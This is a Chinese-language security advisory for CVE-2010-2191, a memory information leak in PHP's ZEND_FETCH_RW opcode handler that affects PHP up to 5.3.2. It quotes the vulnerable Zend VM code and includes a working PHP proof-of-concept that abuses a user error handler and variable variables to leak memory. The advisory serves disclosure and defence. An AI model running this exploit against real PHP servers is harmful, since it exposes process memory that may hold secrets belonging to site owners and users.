安全研究
安全漏洞
PHP ZEND_FETCH_RW opcode中断处理信息泄露漏洞
发布日期:2010-05-31
更新日期:2010-06-28
受影响系统:
PHP PHP <= 5.3.2描述:
PHP PHP <= 5.2.13
CVE ID: CVE-2010-2191
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的ZEND_FETCH_RW opcode的实现如下:
ZEND_VM_HANDLER(86, ZEND_FETCH_RW, CONST|TMP|VAR|CV, ANY)
{
ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_RW);
}
处理器本身只调用zend_fetch_var_address_helper()帮助函数:
ZEND_VM_HELPER_EX(zend_fetch_var_address_helper, CONST|TMP|VAR|CV, ANY, int type)
{
zend_op *opline = EX(opline);
...
if (OP1_TYPE != IS_CONST && Z_TYPE_P(varname) != IS_STRING) {
...
}
if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) {
...
} else {
...
if (zend_hash_find(target_symbol_table, varname->value.str.val, varname->value.str.len+1, (void **) &retval) == FAILURE) {
switch (type) {
case BP_VAR_R:
case BP_VAR_UNSET:
zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
/* break missing intentionally */
case BP_VAR_IS:
retval = &EG(uninitialized_zval_ptr);
break;
case BP_VAR_RW:
zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
/* break missing intentionally */
case BP_VAR_W: {
zval *new_zval = &EG(uninitialized_zval);
Z_ADDREF_P(new_zval);
zend_hash_update(target_symbol_table, varname->value.str.val, varname->value.str.len+1, &new_zval, sizeof(zval *), (void **) &retval);
}
break;
EMPTY_SWITCH_DEFAULT_CASE()
}
}
在未定义变量的情况下会触发E_NOTICE,还会调用用户所注册的用户空间出错处理器。此外在BP_VAR_RW的情况下,不仅会触发出错处理器,还会向符号表中用空值添加不存在的变量。攻击者可以利用这种方式泄露内存,因为在使用variable变量的时候,可以更改出错处理器中包含变量名的ZVAL。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/2010/05/31/mops-2010-053-php-zend_fetch_rw-opcode-interruption-information-leak-vulnerability/index.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
error_reporting(E_ALL);
/* Initialize */
$a = 1;
$b = new stdClass();
/* Setup Error Handler */
set_error_handler("my_error");
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['a'] = str_repeat("A", 39);
} else {
$GLOBALS['a'] = str_repeat("A", 67);
}
/* Trigger the Code */
$$a .= "FOUNDME";
foreach ($GLOBALS as $key => $val) {
if ($val == "FOUNDME") {
hexdump($key);
break;
}
}
function my_error($x,$msg)
{
echo "$msg\n";
parse_str("x=1", $GLOBALS['a']);
return 1;
}
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:2977
严重程度:0(网友投票)
绿盟科技给您安全的保障
